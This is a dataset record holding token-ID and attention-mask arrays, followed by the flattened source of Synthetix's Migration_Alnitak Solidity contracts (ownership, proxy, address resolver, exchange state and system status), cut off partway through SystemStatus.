1035,
2535,
1000,
1007,
1025,
27507,
16703,
2270,
5377,
14012,
1035,
3206,
1035,
2535,
1027,
17710,
16665,
2243,
17788,
2575,
1006,
1000,
14012,
1035,
3206,
1035,
2535,
1000,
1007,
1025,
21318,
3372,
17788,
2575,
2797,
3796,
1035,
28516,
2015,
1035,
2561,
1035,
4425,
1027,
25897,
2620,
1025,
21318,
3372,
17788,
2575,
2270,
4098,
1035,
3796,
1035,
28516,
2015,
1035,
3555,
1035,
2011,
1035,
7148,
21031,
1027,
2456,
1025,
21318,
3372,
17788,
2575,
2270,
5377,
4098,
1035,
12927,
1035,
5787,
1027,
2753,
1025,
21318,
3372,
17788,
2575,
2270,
2561,
23467,
27014,
10020,
3064,
1025,
21318,
3372,
17788,
2575,
2270,
2561,
25154,
2098,
23467,
27014,
3762,
27528,
21031,
1025,
4769,
2270,
2417,
21564,
6906,
14141,
8303,
1025,
21318,
3372,
17788,
2575,
2270,
2171,
22305,
13699,
17599,
1025,
4769,
2270,
10047,
28120,
3085,
12927,
1035,
3413,
1035,
4769,
1025,
4769,
2270,
10047,
28120,
3085,
11424,
22573,
1035,
19204,
1035,
4769,
1025,
4769,
2270,
2689,
18442,
21572,
3406,
25778,
7959,
13775,
16200,
4757,
1025,
22017,
2140,
2270,
5864,
12879,
20051,
14776,
1027,
2995,
1025,
21318,
3372,
17788,
2575,
2797,
1035,
2783,
18715,
18595,
2094,
1027,
1014,
1025,
21318,
3372,
17788,
2575,
2797,
1035,
13366,
20051,
15833,
18715,
18595,
2094,
1027,
6694,
2692,
1025,
5164,
2797,
1035,
24471,
2072,
1025,
2358,
6820,
6593,
19204,
4179,
18655,
12928,
4014,
1063,
21318,
3372,
17788,
2575,
8991,
1025,
21318,
3372,
17788,
2575,
6687,
2487,
1025,
21318,
3372,
17788,
2575,
6687,
2475,
1025,
1065,
1013,
1008,
1008,
1008,
102
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
|
/*
____ __ __ __ _
/ __/__ __ ___ / /_ / / ___ / /_ (_)__ __
_\ \ / // // _ \/ __// _ \/ -_)/ __// / \ \ /
/___/ \_, //_//_/\__//_//_/\__/ \__//_/ /_\_\
/___/
* Synthetix: migrations/Migration_Alnitak.sol
*
* Latest source (may be newer): https://github.com/Synthetixio/synthetix/blob/master/contracts/migrations/Migration_Alnitak.sol
* Docs: https://docs.synthetix.io/contracts/migrations/Migration_Alnitak
*
* Contract Dependencies:
* - BaseMigration
* - IAddressResolver
* - IERC20
* - IExchangeState
* - IRewardEscrow
* - IRewardsDistribution
* - ISystemStatus
* - LegacyOwned
* - Owned
* - Proxy
* - State
* Libraries:
* - SafeDecimalMath
* - SafeMath
*
* MIT License
* ===========
*
* Copyright (c) 2021 Synthetix
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
*/
pragma solidity ^0.5.16;
// https://docs.synthetix.io/contracts/source/contracts/owned
contract Owned {
address public owner;
address public nominatedOwner;
constructor(address _owner) public {
require(_owner != address(0), "Owner address cannot be 0");
owner = _owner;
emit OwnerChanged(address(0), _owner);
}
function nominateNewOwner(address _owner) external onlyOwner {
nominatedOwner = _owner;
emit OwnerNominated(_owner);
}
function acceptOwnership() external {
require(msg.sender == nominatedOwner, "You must be nominated before you can accept ownership");
emit OwnerChanged(owner, nominatedOwner);
owner = nominatedOwner;
nominatedOwner = address(0);
}
modifier onlyOwner {
_onlyOwner();
_;
}
function _onlyOwner() private view {
require(msg.sender == owner, "Only the contract owner may perform this action");
}
event OwnerNominated(address newOwner);
event OwnerChanged(address oldOwner, address newOwner);
}
contract BaseMigration is Owned {
address public deployer;
constructor(address _owner) internal Owned(_owner) {
deployer = msg.sender;
}
// safety value to return ownership (anyone can invoke)
function returnOwnership(address forContract) external {
bytes memory payload = abi.encodeWithSignature("nominateNewOwner(address)", owner);
// solhint-disable avoid-low-level-calls
(bool success, ) = forContract.call(payload);
if (!success) {
// then try legacy way
bytes memory legacyPayload = abi.encodeWithSignature("nominateOwner(address)", owner);
// solhint-disable avoid-low-level-calls
(bool legacySuccess, ) = forContract.call(legacyPayload);
require(legacySuccess, "Legacy nomination failed");
}
}
function _requireDeployer() private view {
require(msg.sender == deployer, "Only the deployer can invoke this");
}
modifier onlyDeployer() {
_requireDeployer();
_;
}
}
// https://docs.synthetix.io/contracts/source/interfaces/iaddressresolver
interface IAddressResolver {
function getAddress(bytes32 name) external view returns (address);
function getSynth(bytes32 key) external view returns (address);
function requireAndGetAddress(bytes32 name, string calldata reason) external view returns (address);
}
// https://docs.synthetix.io/contracts/source/interfaces/isynth
interface ISynth {
// Views
function currencyKey() external view returns (bytes32);
function transferableSynths(address account) external view returns (uint);
// Mutative functions
function transferAndSettle(address to, uint value) external returns (bool);
function transferFromAndSettle(
address from,
address to,
uint value
) external returns (bool);
// Restricted: used internally to Synthetix
function burn(address account, uint amount) external;
function issue(address account, uint amount) external;
}
// https://docs.synthetix.io/contracts/source/interfaces/iissuer
interface IIssuer {
// Views
function anySynthOrSNXRateIsInvalid() external view returns (bool anyRateInvalid);
function availableCurrencyKeys() external view returns (bytes32[] memory);
function availableSynthCount() external view returns (uint);
function availableSynths(uint index) external view returns (ISynth);
function canBurnSynths(address account) external view returns (bool);
function collateral(address account) external view returns (uint);
function collateralisationRatio(address issuer) external view returns (uint);
function collateralisationRatioAndAnyRatesInvalid(address _issuer)
external
view
returns (uint cratio, bool anyRateIsInvalid);
function debtBalanceOf(address issuer, bytes32 currencyKey) external view returns (uint debtBalance);
function issuanceRatio() external view returns (uint);
function lastIssueEvent(address account) external view returns (uint);
function maxIssuableSynths(address issuer) external view returns (uint maxIssuable);
function minimumStakeTime() external view returns (uint);
function remainingIssuableSynths(address issuer)
external
view
returns (
uint maxIssuable,
uint alreadyIssued,
uint totalSystemDebt
);
function synths(bytes32 currencyKey) external view returns (ISynth);
function getSynths(bytes32[] calldata currencyKeys) external view returns (ISynth[] memory);
function synthsByAddress(address synthAddress) external view returns (bytes32);
function totalIssuedSynths(bytes32 currencyKey, bool excludeEtherCollateral) external view returns (uint);
function transferableSynthetixAndAnyRateIsInvalid(address account, uint balance)
external
view
returns (uint transferable, bool anyRateIsInvalid);
// Restricted: used internally to Synthetix
function issueSynths(address from, uint amount) external;
function issueSynthsOnBehalf(
address issueFor,
address from,
uint amount
) external;
function issueMaxSynths(address from) external;
function issueMaxSynthsOnBehalf(address issueFor, address from) external;
function burnSynths(address from, uint amount) external;
function burnSynthsOnBehalf(
address burnForAddress,
address from,
uint amount
) external;
function burnSynthsToTarget(address from) external;
function burnSynthsToTargetOnBehalf(address burnForAddress, address from) external;
function liquidateDelinquentAccount(
address account,
uint susdAmount,
address liquidator
) external returns (uint totalRedeemed, uint amountToLiquidate);
}
// solhint-disable payable-fallback
// https://docs.synthetix.io/contracts/source/contracts/readproxy
contract ReadProxy is Owned {
address public target;
constructor(address _owner) public Owned(_owner) {}
function setTarget(address _target) external onlyOwner {
target = _target;
emit TargetUpdated(target);
}
function() external {
// The basics of a proxy read call
// Note that msg.sender in the underlying will always be the address of this contract.
assembly {
calldatacopy(0, 0, calldatasize)
// Use of staticcall - this will revert if the underlying function mutates state
let result := staticcall(gas, sload(target_slot), 0, calldatasize, 0, 0)
returndatacopy(0, 0, returndatasize)
if iszero(result) {
revert(0, returndatasize)
}
return(0, returndatasize)
}
}
event TargetUpdated(address newTarget);
}
// Inheritance
// Internal references
// https://docs.synthetix.io/contracts/source/contracts/mixinresolver
contract MixinResolver {
AddressResolver public resolver;
mapping(bytes32 => address) private addressCache;
constructor(address _resolver) internal {
resolver = AddressResolver(_resolver);
}
/* ========== INTERNAL FUNCTIONS ========== */
function combineArrays(bytes32[] memory first, bytes32[] memory second)
internal
pure
returns (bytes32[] memory combination)
{
combination = new bytes32[](first.length + second.length);
for (uint i = 0; i < first.length; i++) {
combination[i] = first[i];
}
for (uint j = 0; j < second.length; j++) {
combination[first.length + j] = second[j];
}
}
/* ========== PUBLIC FUNCTIONS ========== */
// Note: this function is public not external in order for it to be overridden and invoked via super in subclasses
function resolverAddressesRequired() public view returns (bytes32[] memory addresses) {}
function rebuildCache() public {
bytes32[] memory requiredAddresses = resolverAddressesRequired();
// The resolver must call this function whenver it updates its state
for (uint i = 0; i < requiredAddresses.length; i++) {
bytes32 name = requiredAddresses[i];
// Note: can only be invoked once the resolver has all the targets needed added
address destination =
resolver.requireAndGetAddress(name, string(abi.encodePacked("Resolver missing target: ", name)));
addressCache[name] = destination;
emit CacheUpdated(name, destination);
}
}
/* ========== VIEWS ========== */
function isResolverCached() external view returns (bool) {
bytes32[] memory requiredAddresses = resolverAddressesRequired();
for (uint i = 0; i < requiredAddresses.length; i++) {
bytes32 name = requiredAddresses[i];
// false if our cache is invalid or if the resolver doesn't have the required address
if (resolver.getAddress(name) != addressCache[name] || addressCache[name] == address(0)) {
return false;
}
}
return true;
}
/* ========== INTERNAL FUNCTIONS ========== */
function requireAndGetAddress(bytes32 name) internal view returns (address) {
address _foundAddress = addressCache[name];
require(_foundAddress != address(0), string(abi.encodePacked("Missing address: ", name)));
return _foundAddress;
}
/* ========== EVENTS ========== */
event CacheUpdated(bytes32 name, address destination);
}
// Inheritance
// Internal references
// https://docs.synthetix.io/contracts/source/contracts/addressresolver
contract AddressResolver is Owned, IAddressResolver {
mapping(bytes32 => address) public repository;
constructor(address _owner) public Owned(_owner) {}
/* ========== RESTRICTED FUNCTIONS ========== */
function importAddresses(bytes32[] calldata names, address[] calldata destinations) external onlyOwner {
require(names.length == destinations.length, "Input lengths must match");
for (uint i = 0; i < names.length; i++) {
bytes32 name = names[i];
address destination = destinations[i];
repository[name] = destination;
emit AddressImported(name, destination);
}
}
/* ========= PUBLIC FUNCTIONS ========== */
function rebuildCaches(MixinResolver[] calldata destinations) external {
for (uint i = 0; i < destinations.length; i++) {
destinations[i].rebuildCache();
}
}
/* ========== VIEWS ========== */
function areAddressesImported(bytes32[] calldata names, address[] calldata destinations) external view returns (bool) {
for (uint i = 0; i < names.length; i++) {
if (repository[names[i]] != destinations[i]) {
return false;
}
}
return true;
}
function getAddress(bytes32 name) external view returns (address) {
return repository[name];
}
function requireAndGetAddress(bytes32 name, string calldata reason) external view returns (address) {
address _foundAddress = repository[name];
require(_foundAddress != address(0), reason);
return _foundAddress;
}
function getSynth(bytes32 key) external view returns (address) {
IIssuer issuer = IIssuer(repository["Issuer"]);
require(address(issuer) != address(0), "Cannot find Issuer address");
return address(issuer.synths(key));
}
/* ========== EVENTS ========== */
event AddressImported(bytes32 name, address destination);
}
// Inheritance
// Internal references
// https://docs.synthetix.io/contracts/source/contracts/proxyable
contract Proxyable is Owned {
// This contract should be treated like an abstract contract
/* The proxy this contract exists behind. */
Proxy public proxy;
Proxy public integrationProxy;
/* The caller of the proxy, passed through to this contract.
* Note that every function using this member must apply the onlyProxy or
* optionalProxy modifiers, otherwise their invocations can use stale values. */
address public messageSender;
constructor(address payable _proxy) internal {
// This contract is abstract, and thus cannot be instantiated directly
require(owner != address(0), "Owner must be set");
proxy = Proxy(_proxy);
emit ProxyUpdated(_proxy);
}
function setProxy(address payable _proxy) external onlyOwner {
proxy = Proxy(_proxy);
emit ProxyUpdated(_proxy);
}
function setIntegrationProxy(address payable _integrationProxy) external onlyOwner {
integrationProxy = Proxy(_integrationProxy);
}
function setMessageSender(address sender) external onlyProxy {
messageSender = sender;
}
modifier onlyProxy {
_onlyProxy();
_;
}
function _onlyProxy() private view {
require(Proxy(msg.sender) == proxy || Proxy(msg.sender) == integrationProxy, "Only the proxy can call");
}
modifier optionalProxy {
_optionalProxy();
_;
}
function _optionalProxy() private {
if (Proxy(msg.sender) != proxy && Proxy(msg.sender) != integrationProxy && messageSender != msg.sender) {
messageSender = msg.sender;
}
}
modifier optionalProxy_onlyOwner {
_optionalProxy_onlyOwner();
_;
}
// solhint-disable-next-line func-name-mixedcase
function _optionalProxy_onlyOwner() private {
if (Proxy(msg.sender) != proxy && Proxy(msg.sender) != integrationProxy && messageSender != msg.sender) {
messageSender = msg.sender;
}
require(messageSender == owner, "Owner only function");
}
event ProxyUpdated(address proxyAddress);
}
// Inheritance
// Internal references
// https://docs.synthetix.io/contracts/source/contracts/proxy
contract Proxy is Owned {
Proxyable public target;
constructor(address _owner) public Owned(_owner) {}
function setTarget(Proxyable _target) external onlyOwner {
target = _target;
emit TargetUpdated(_target);
}
function _emit(
bytes calldata callData,
uint numTopics,
bytes32 topic1,
bytes32 topic2,
bytes32 topic3,
bytes32 topic4
) external onlyTarget {
uint size = callData.length;
bytes memory _callData = callData;
assembly {
/* The first 32 bytes of callData contain its length (as specified by the abi).
* Length is assumed to be a uint256 and therefore maximum of 32 bytes
* in length. It is also leftpadded to be a multiple of 32 bytes.
* This means moving call_data across 32 bytes guarantees we correctly access
* the data itself. */
switch numTopics
case 0 {
log0(add(_callData, 32), size)
}
case 1 {
log1(add(_callData, 32), size, topic1)
}
case 2 {
log2(add(_callData, 32), size, topic1, topic2)
}
case 3 {
log3(add(_callData, 32), size, topic1, topic2, topic3)
}
case 4 {
log4(add(_callData, 32), size, topic1, topic2, topic3, topic4)
}
}
}
// solhint-disable no-complex-fallback
function() external payable {
// Mutable call setting Proxyable.messageSender as this is using call not delegatecall
target.setMessageSender(msg.sender);
assembly {
let free_ptr := mload(0x40)
calldatacopy(free_ptr, 0, calldatasize)
/* We must explicitly forward ether to the underlying contract as well. */
let result := call(gas, sload(target_slot), callvalue, free_ptr, calldatasize, 0, 0)
returndatacopy(free_ptr, 0, returndatasize)
if iszero(result) {
revert(free_ptr, returndatasize)
}
return(free_ptr, returndatasize)
}
}
modifier onlyTarget {
require(Proxyable(msg.sender) == target, "Must be proxy target");
_;
}
event TargetUpdated(Proxyable newTarget);
}
// https://docs.synthetix.io/contracts/source/interfaces/ierc20
interface IERC20 {
// ERC20 Optional Views
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
// Views
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
// Mutative functions
function transfer(address to, uint value) external returns (bool);
function approve(address spender, uint value) external returns (bool);
function transferFrom(
address from,
address to,
uint value
) external returns (bool);
// Events
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
// Inheritance
// https://docs.synthetix.io/contracts/source/contracts/proxyerc20
contract ProxyERC20 is Proxy, IERC20 {
constructor(address _owner) public Proxy(_owner) {}
// ------------- ERC20 Details ------------- //
function name() public view returns (string memory) {
// Immutable static call from target contract
return IERC20(address(target)).name();
}
function symbol() public view returns (string memory) {
// Immutable static call from target contract
return IERC20(address(target)).symbol();
}
function decimals() public view returns (uint8) {
// Immutable static call from target contract
return IERC20(address(target)).decimals();
}
// ------------- ERC20 Interface ------------- //
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
// Immutable static call from target contract
return IERC20(address(target)).totalSupply();
}
/**
* @dev Gets the balance of the specified address.
* @param account The address to query the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address account) public view returns (uint256) {
// Immutable static call from target contract
return IERC20(address(target)).balanceOf(account);
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address owner, address spender) public view returns (uint256) {
// Immutable static call from target contract
return IERC20(address(target)).allowance(owner, spender);
}
/**
* @dev Transfer token for a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public returns (bool) {
// Mutable state call requires the proxy to tell the target who the msg.sender is.
target.setMessageSender(msg.sender);
// Forward the ERC20 call to the target contract
IERC20(address(target)).transfer(to, value);
// Event emitting will occur via Synthetix.Proxy._emit()
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public returns (bool) {
// Mutable state call requires the proxy to tell the target who the msg.sender is.
target.setMessageSender(msg.sender);
// Forward the ERC20 call to the target contract
IERC20(address(target)).approve(spender, value);
// Event emitting will occur via Synthetix.Proxy._emit()
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address from,
address to,
uint256 value
) public returns (bool) {
// Mutable state call requires the proxy to tell the target who the msg.sender is.
target.setMessageSender(msg.sender);
// Forward the ERC20 call to the target contract
IERC20(address(target)).transferFrom(from, to, value);
// Event emitting will occur via Synthetix.Proxy._emit()
return true;
}
}
// Inheritance
// https://docs.synthetix.io/contracts/source/contracts/state
contract State is Owned {
// the address of the contract that can modify variables
// this can only be changed by the owner of this contract
address public associatedContract;
constructor(address _associatedContract) internal {
// This contract is abstract, and thus cannot be instantiated directly
require(owner != address(0), "Owner must be set");
associatedContract = _associatedContract;
emit AssociatedContractUpdated(_associatedContract);
}
/* ========== SETTERS ========== */
// Change the associated contract to a new address
function setAssociatedContract(address _associatedContract) external onlyOwner {
associatedContract = _associatedContract;
emit AssociatedContractUpdated(_associatedContract);
}
/* ========== MODIFIERS ========== */
modifier onlyAssociatedContract {
require(msg.sender == associatedContract, "Only the associated contract can perform this action");
_;
}
/* ========== EVENTS ========== */
event AssociatedContractUpdated(address associatedContract);
}
// https://docs.synthetix.io/contracts/source/interfaces/iexchangestate
interface IExchangeState {
// Views
struct ExchangeEntry {
bytes32 src;
uint amount;
bytes32 dest;
uint amountReceived;
uint exchangeFeeRate;
uint timestamp;
uint roundIdForSrc;
uint roundIdForDest;
}
function getLengthOfEntries(address account, bytes32 currencyKey) external view returns (uint);
function getEntryAt(
address account,
bytes32 currencyKey,
uint index
)
external
view
returns (
bytes32 src,
uint amount,
bytes32 dest,
uint amountReceived,
uint exchangeFeeRate,
uint timestamp,
uint roundIdForSrc,
uint roundIdForDest
);
function getMaxTimestamp(address account, bytes32 currencyKey) external view returns (uint);
// Mutative functions
function appendExchangeEntry(
address account,
bytes32 src,
uint amount,
bytes32 dest,
uint amountReceived,
uint exchangeFeeRate,
uint timestamp,
uint roundIdForSrc,
uint roundIdForDest
) external;
function removeEntries(address account, bytes32 currencyKey) external;
}
// Inheritance
// https://docs.synthetix.io/contracts/source/contracts/exchangestate
contract ExchangeState is Owned, State, IExchangeState {
mapping(address => mapping(bytes32 => IExchangeState.ExchangeEntry[])) public exchanges;
uint public maxEntriesInQueue = 12;
constructor(address _owner, address _associatedContract) public Owned(_owner) State(_associatedContract) {}
/* ========== SETTERS ========== */
function setMaxEntriesInQueue(uint _maxEntriesInQueue) external onlyOwner {
maxEntriesInQueue = _maxEntriesInQueue;
}
/* ========== MUTATIVE FUNCTIONS ========== */
function appendExchangeEntry(
address account,
bytes32 src,
uint amount,
bytes32 dest,
uint amountReceived,
uint exchangeFeeRate,
uint timestamp,
uint roundIdForSrc,
uint roundIdForDest
) external onlyAssociatedContract {
require(exchanges[account][dest].length < maxEntriesInQueue, "Max queue length reached");
exchanges[account][dest].push(
ExchangeEntry({
src: src,
amount: amount,
dest: dest,
amountReceived: amountReceived,
exchangeFeeRate: exchangeFeeRate,
timestamp: timestamp,
roundIdForSrc: roundIdForSrc,
roundIdForDest: roundIdForDest
})
);
}
function removeEntries(address account, bytes32 currencyKey) external onlyAssociatedContract {
delete exchanges[account][currencyKey];
}
/* ========== VIEWS ========== */
function getLengthOfEntries(address account, bytes32 currencyKey) external view returns (uint) {
return exchanges[account][currencyKey].length;
}
function getEntryAt(
address account,
bytes32 currencyKey,
uint index
)
external
view
returns (
bytes32 src,
uint amount,
bytes32 dest,
uint amountReceived,
uint exchangeFeeRate,
uint timestamp,
uint roundIdForSrc,
uint roundIdForDest
)
{
ExchangeEntry storage entry = exchanges[account][currencyKey][index];
return (
entry.src,
entry.amount,
entry.dest,
entry.amountReceived,
entry.exchangeFeeRate,
entry.timestamp,
entry.roundIdForSrc,
entry.roundIdForDest
);
}
function getMaxTimestamp(address account, bytes32 currencyKey) external view returns (uint) {
ExchangeEntry[] storage userEntries = exchanges[account][currencyKey];
uint timestamp = 0;
for (uint i = 0; i < userEntries.length; i++) {
if (userEntries[i].timestamp > timestamp) {
timestamp = userEntries[i].timestamp;
}
}
return timestamp;
}
}
// https://docs.synthetix.io/contracts/source/interfaces/isystemstatus
interface ISystemStatus {
struct Status {
bool canSuspend;
bool canResume;
}
struct Suspension {
bool suspended;
// reason is an integer code,
// 0 => no reason, 1 => upgrading, 2+ => defined by system usage
uint248 reason;
}
// Views
function accessControl(bytes32 section, address account) external view returns (bool canSuspend, bool canResume);
function requireSystemActive() external view;
function requireIssuanceActive() external view;
function requireExchangeActive() external view;
function requireExchangeBetweenSynthsAllowed(bytes32 sourceCurrencyKey, bytes32 destinationCurrencyKey) external view;
function requireSynthActive(bytes32 currencyKey) external view;
function requireSynthsActive(bytes32 sourceCurrencyKey, bytes32 destinationCurrencyKey) external view;
function systemSuspension() external view returns (bool suspended, uint248 reason);
function issuanceSuspension() external view returns (bool suspended, uint248 reason);
function exchangeSuspension() external view returns (bool suspended, uint248 reason);
function synthExchangeSuspension(bytes32 currencyKey) external view returns (bool suspended, uint248 reason);
function synthSuspension(bytes32 currencyKey) external view returns (bool suspended, uint248 reason);
function getSynthExchangeSuspensions(bytes32[] calldata synths)
external
view
returns (bool[] memory exchangeSuspensions, uint256[] memory reasons);
function getSynthSuspensions(bytes32[] calldata synths)
external
view
returns (bool[] memory suspensions, uint256[] memory reasons);
// Restricted functions
function suspendSynth(bytes32 currencyKey, uint256 reason) external;
function updateAccessControl(
bytes32 section,
address account,
bool canSuspend,
bool canResume
) external;
}
// Inheritance
// https://docs.synthetix.io/contracts/source/contracts/systemstatus
contract SystemStatus is Owned, ISystemStatus {
mapping(bytes32 => mapping(address => Status)) public accessControl;
uint248 public constant SUSPENSION_REASON_UPGRADE = 1;
bytes32 public constant SECTION_SYSTEM = "System";
bytes32 public constant SECTION_ISSUANCE = "Issuance";
bytes32 public constant SECTION_EXCHANGE = "Exchange";
bytes32 public constant SECTION_SYNTH_EXCHANGE = "SynthExchange";
bytes32 public constant SECTION_SYNTH = "Synth";
Suspension public systemSuspension;
Suspension public issuanceSuspension;
Suspension public exchangeSuspension;
mapping(bytes32 => Suspension) public synthExchangeSuspension;
mapping(bytes32 => Suspension) public synthSuspension;
constructor(address _owner) public Owned(_owner) {}
/* ========== VIEWS ========== */
function requireSystemActive() external view {
_internalRequireSystemActive();
}
function requireIssuanceActive() external view {
// Issuance requires the system be active
_internalRequireSystemActive();
// and issuance itself of course
_internalRequireIssuanceActive();
}
function requireExchangeActive() external view {
// Exchanging requires the system be active
_internalRequireSystemActive();
// and exchanging itself of course
_internalRequireExchangeActive();
}
function requireSynthExchangeActive(bytes32 currencyKey) external view {
// Synth exchange and transfer requires the system be active
_internalRequireSystemActive();
_internalRequireSynthExchangeActive(currencyKey);
}
function requireSynthActive(bytes32 currencyKey) external view {
// Synth exchange and transfer requires the system be active
_internalRequireSystemActive();
_internalRequireSynthActive(currencyKey);
}
function requireSynthsActive(bytes32 sourceCurrencyKey, bytes32 destinationCurrencyKey) external view {
// Synth exchange and transfer requires the system be active
_internalRequireSystemActive();
_internalRequireSynthActive(sourceCurrencyKey);
_internalRequireSynthActive(destinationCurrencyKey);
}
function requireExchangeBetweenSynthsAllowed(bytes32 sourceCurrencyKey, bytes32 destinationCurrencyKey) external view {
// Synth exchange and transfer requires the system be active
_internalRequireSystemActive();
// and exchanging must be active
_internalRequireExchangeActive();
// and the synth exchanging between the synths must be active
_internalRequireSynthExchangeActive(sourceCurrencyKey);
_internalRequireSynthExchangeActive(destinationCurrencyKey);
// and finally, the synths cannot be suspended
_internalRequireSynthActive(sourceCurrencyKey);
_internalRequireSynthActive(destinationCurrencyKey);
}
function isSystemUpgrading() external view returns (bool) {
return systemSuspension.suspended && systemSuspension.reason == SUSPENSION_REASON_UPGRADE;
}
function getSynthExchangeSuspensions(bytes32[] calldata synths)
external
view
returns (bool[] memory exchangeSuspensions, uint256[] memory reasons)
{
exchangeSuspensions = new bool[](synths.length);
reasons = new uint256[](synths.length);
for (uint i = 0; i < synths.length; i++) {
exchangeSuspensions[i] = synthExchangeSuspension[synths[i]].suspended;
reasons[i] = synthExchangeSuspension[synths[i]].reason;
}
}
function getSynthSuspensions(bytes32[] calldata synths)
external
view
returns (bool[] memory suspensions, uint256[] memory reasons)
{
suspensions = new bool[](synths.length);
reasons = new uint256[](synths.length);
for (uint i = 0; i < synths.length; i++) {
suspensions[i] = synthSuspension[synths[i]].suspended;
reasons[i] = synthSuspension[synths[i]].reason;
}
}
/* ========== MUTATIVE FUNCTIONS ========== */
function updateAccessControl(
bytes32 section,
address account,
bool canSuspend,
bool canResume
) external onlyOwner {
_internalUpdateAccessControl(section, account, canSuspend, canResume);
}
function updateAccessControls(
bytes32[] calldata sections,
address[] calldata accounts,
bool[] calldata canSuspends,
bool[] calldata canResumes
) external onlyOwner {
require(
sections.length == accounts.length &&
accounts.length == canSuspends.length &&
canSuspends.length == canResumes.length,
"Input array lengths must match"
);
for (uint i = 0; i < sections.length; i++) {
_internalUpdateAccessControl(sections[i], accounts[i], canSuspends[i], canResumes[i]);
}
}
function suspendSystem(uint256 reason) external {
_requireAccessToSuspend(SECTION_SYSTEM);
systemSuspension.suspended = true;
systemSuspension.reason = uint248(reason);
emit SystemSuspended(systemSuspension.reason);
}
function resumeSystem() external {
